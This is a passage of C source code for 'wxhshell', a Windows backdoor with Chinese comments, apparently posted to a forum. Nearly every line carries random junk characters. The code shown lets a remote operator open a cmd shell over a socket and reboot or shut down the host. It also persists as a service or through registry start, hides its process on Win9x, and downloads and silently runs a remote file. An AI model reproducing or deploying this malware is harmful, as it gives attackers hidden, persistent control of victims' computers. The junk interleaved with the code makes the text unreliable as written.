    switch(cmd[0]) { 'kvFU_)  
  ON0+:`3\  
  // 帮助 i q:Q$z&  
  case '?': { d %W}w.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -3t BN*0+  
    break; ~!F4JRf  
  } oB R(7U ~0  
  // 安装 )K>@$6H +2  
  case 'i': { 78CJ  
    if(Install()) Lu39eO6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :V~*vLvR  
    else q)ql]iH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kO_XyC4(  
    break; m2CWQ[u  
    } Cw&D}  
  // 卸载 YG~ o  
  case 'r': { E 'JC  
    if(Uninstall()) (Q8 ?)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |cGeL[  
    else rHgdvDc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]Y&)98  
    break; +c8AbEewg  
    } C'czXZtn  
  // 显示 wxhshell 所在路径 K6{bYho  
  case 'p': { xY'qm8V  
    char svExeFile[MAX_PATH]; -^4bA<dCCE  
    strcpy(svExeFile,"\n\r"); R:OU>HsdX  
      strcat(svExeFile,ExeFile); &s^>S? L-  
        send(wsh,svExeFile,strlen(svExeFile),0); ZoON5P>  
    break; mzE$aFu8  
    } TDFO9%2c  
  // 重启 M2E87w  
  case 'b': { 3V Mh)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BU:Ecchbr  
    if(Boot(REBOOT)) Z1$];Q\cX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gO:Z6}3vM  
    else { 2PR7M.V 7  
    closesocket(wsh); *rn]/w8ZW  
    ExitThread(0); .pIR/2U\F  
    } vDW&pF_eI>  
    break; xw+<p  
    } |5~wwL@LW7  
  // 关机 PM-PP8h  
  case 'd': { A?Nn>xF9X  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ";_K x={  
    if(Boot(SHUTDOWN)) )y`TymM[F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `xX4!^0Hm  
    else { ;Lsjh#  
    closesocket(wsh); 6c2ThtL  
    ExitThread(0); D#d8^U  
    } 4aN+}TkH@G  
    break; +#*&XX5A#?  
    } ~)wwX:;B_  
  // 获取shell s`#ntset0  
  case 's': { ?..i4  
    CmdShell(wsh); ]M~8 @K  
    closesocket(wsh); oE!hF}O  
    ExitThread(0); &gWMl`3^*!  
    break; q8?= *1g  
  } z[qdmx^  
  // 退出 ,Um5S6 Z  
  case 'x': { 9 V=<| 2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C|4 U78f{  
    CloseIt(wsh); QJ a4R  
    break; U~{Sa+  
    } QT1:> k  
  // 离开 ~VqFZasV  
  case 'q': { 5;F P.{+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;48P vw>g}  
    closesocket(wsh); wTTTrk  
    WSACleanup(); _x\-!&[p  
    exit(1); $R%+*  
    break; OgEUq''  
        } |.b%rVu  
  } 09  
  } 4ef*9|^x#  
0\5M^:8i3  
  // 提示信息 n> MD\ZS  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >.J'L5 x$  
} jOBY&W0r  
  } 09R,'QJ|  
M MAAHo  
  return; :v#k&Uh3y  
} !Z U_,[  
$42Au2Jg  
// shell模块句柄 MxY50 ^}(  
int CmdShell(SOCKET sock) R(:  4s  
{ CxJfrI_W  
STARTUPINFO si; PSW #^o  
ZeroMemory(&si,sizeof(si)); [zY!'cz?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; YO)')&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m9#}X_&x  
PROCESS_INFORMATION ProcessInfo; HR[Q ?rg  
char cmdline[]="cmd"; ]@*tfz\YaH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &}zRH}s;  
  return 0; 7}<Sg  
} {hxW,mmA  
k?^%hO>[  
// 自身启动模式 cICHRp&&  
int StartFromService(void) iH[E= 6*  
{ 9n_ eCb)H  
typedef struct ZR1+ O 8  
{ L<0=giE  
  DWORD ExitStatus; 0;vtdM[_  
  DWORD PebBaseAddress; Tc:sldtCk  
  DWORD AffinityMask; :OHSxb>[  
  DWORD BasePriority; !loO%3_)  
  ULONG UniqueProcessId; {U(Bfe^a,  
  ULONG InheritedFromUniqueProcessId; GUKDhg,W  
}   PROCESS_BASIC_INFORMATION; * !X4&#xP  
]yo_wGiwY  
PROCNTQSIP NtQueryInformationProcess; xYmdCf@H  
DK)u)?!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cq gJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _=uviMuE  
{&uT3*V1  
  HANDLE             hProcess; H]BAW *}  
  PROCESS_BASIC_INFORMATION pbi; .Nc_n5D6  
)eECOfmnZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p[u4,  
  if(NULL == hInst ) return 0; ~+<<bzY  
NP "ylMr7P  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gTnS[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); N9pwWg&<+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E evw*;$x  
k'x #t(  
  if (!NtQueryInformationProcess) return 0; ?<E0zM+  
^=k {~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uw_H:-J  
  if(!hProcess) return 0; YtMlqF  
"i&fp:E0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YhS{$ Z  
M</Wd{.g"  
  CloseHandle(hProcess); PzLJ/QER  
0F1u W>D1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ":V%(c  
if(hProcess==NULL) return 0; 9T$u+GX'  
r( M[8@Nz  
HMODULE hMod; bGu([VB  
char procName[255]; hl**zF  
unsigned long cbNeeded; u7[pLtOwN  
s0 47"Q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4j^bpfb,  
?&6Q%IUW1  
  CloseHandle(hProcess); T!(sZf  
{d,?bs)  
if(strstr(procName,"services")) return 1; // 以服务启动 -n-Z/5~ X  
} YRO'Q{  
  return 0; // 注册表启动 aV#h5s  
} $,@JYLC2  
SetX#e?q~  
// 主模块 7C?E z%a@  
int StartWxhshell(LPSTR lpCmdLine) ZL,6_L/  
{ js -2"I  
  SOCKET wsl; )%t7\1)B3  
BOOL val=TRUE; xvB8YW"  
  int port=0; >P<'L4;  
  struct sockaddr_in door; !UVk9  
Mb1wYh  
  if(wscfg.ws_autoins) Install(); EWO /u.z  
p jd o|  
port=atoi(lpCmdLine); f]]f85  
/e(W8aszi  
if(port<=0) port=wscfg.ws_port; FllX za)  
UhdqY]  
  WSADATA data; >MPa38  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %0zS  
f7 wm w2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +<{m45  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !?b/-~o7S  
  door.sin_family = AF_INET; 'B,KFA<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LZa% x  
  door.sin_port = htons(port); /=@e &e  
\C7q4p?8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?M~  k$  
closesocket(wsl); 1fRP1  
return 1; w&5/Zh[~~L  
} #QS?s8IrW  
,_bp)-OG  
  if(listen(wsl,2) == INVALID_SOCKET) { 7f* RM  
closesocket(wsl); !=y Q)l2  
return 1; kP?_kMOx  
} {mf.!Xev  
  Wxhshell(wsl); %/!+(7 D  
  WSACleanup(); gH'3 dS!{  
~ aA;<#  
return 0; +99Bi2H}o  
mr qaM2,(I  
} hkF^?AJ  
+q-c 8z  
// 以NT服务方式启动 JnHNkCaU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mV;3ILO  
{ Pk:zfC?4  
DWORD   status = 0; GFt1  
  DWORD   specificError = 0xfffffff; !-,Ww[G>  
?BsH{Q RYQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4 4`WYK l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?0) @jc=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,J& 9kYz  
  serviceStatus.dwWin32ExitCode     = 0; %qi%$  
  serviceStatus.dwServiceSpecificExitCode = 0; R\y'_S=#a  
  serviceStatus.dwCheckPoint       = 0; ]5)"gL%H`  
  serviceStatus.dwWaitHint       = 0; sv`"\3N[  
;W~4L+e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /ao<A\KR  
  if (hServiceStatusHandle==0) return; JhH`uA&  
 Fs)  
status = GetLastError(); ,5w]\z  
  if (status!=NO_ERROR) QoseS/  
{ hIo0S8MOj$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; PkO!'X  
    serviceStatus.dwCheckPoint       = 0; [S)G$JW  
    serviceStatus.dwWaitHint       = 0; H`gb}?9R  
    serviceStatus.dwWin32ExitCode     = status; Kr]W o8dWy  
    serviceStatus.dwServiceSpecificExitCode = specificError; bQj`g2eyM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .R\p[rv&  
    return; = hhvmo  
  } gi1j/j7  
k}s+ca!B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; B.RRdK+:  
  serviceStatus.dwCheckPoint       = 0; `V@z&n0P6  
  serviceStatus.dwWaitHint       = 0; m_$JWv\|\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C]Q>*=r  
} bs P6\'\4  
l1DI*0@  
// 处理NT服务事件,比如:启动、停止 Q.1XP  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !xymoiArp  
{ {(!)P  
switch(fdwControl) AA2ui%  
{ *F|+2?a:$  
case SERVICE_CONTROL_STOP: #4N >d~  
  serviceStatus.dwWin32ExitCode = 0; /3F<=zikO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #'8)u)!  
  serviceStatus.dwCheckPoint   = 0; g&kH'fR8  
  serviceStatus.dwWaitHint     = 0; &#-[Y:?lA  
  { o6|"J%9GX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {KsVK4\r  
  } %z2oDAjX  
  return; 5Xj|:qz<(  
case SERVICE_CONTROL_PAUSE: 0Gx*'B=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &1~Re.* B  
  break; s&0*'^'O[S  
case SERVICE_CONTROL_CONTINUE: \6i 9q=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F@EZ;[  
  break; ]1tN|ODY*W  
case SERVICE_CONTROL_INTERROGATE: }H; ]k-)  
  break; j C9<hLt  
}; %_)b>C18 y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4rm87/u*0  
} @BXaA0F4  
%xHu,*  
// 标准应用程序主函数 v=>3"!*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0S_Ra+e  
{ gkLr]zv  
B]i+,u  
// 获取操作系统版本  t9]r  
OsIsNt=GetOsVer(); [RW, {A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z30=ay1  
pRmEryR(U  
  // 从命令行安装 sE}sE=\  
  if(strpbrk(lpCmdLine,"iI")) Install(); v3Eo@,-  
bu;vpNa  
  // 下载执行文件 N]*!8  
if(wscfg.ws_downexe) { aK-N}T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (KZUvsSk  
  WinExec(wscfg.ws_filenam,SW_HIDE); bnIf}ut-G  
} >"i~ x  
wAPO{3  
if(!OsIsNt) { [&fWF~D-p<  
// 如果时win9x,隐藏进程并且设置为注册表启动 #i6[4X?  
HideProc(); E|\3f(aF  
StartWxhshell(lpCmdLine);  POkXd^pI  
} ;>sq_4_  
else p<ry$=`  
  if(StartFromService()) dnk1Mu<  
  // 以服务方式启动 Fv<]mu  
  StartServiceCtrlDispatcher(DispatchTable); ?! !;XW  
else v!iWzN  
  // 普通方式启动 8}]l9"q(  
  StartWxhshell(lpCmdLine); ^BQ>vI'.4  
S`iM.;|`O  
return 0; Id; mn}+~  
}
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只看该作者 1 发表于: 2006-10-10
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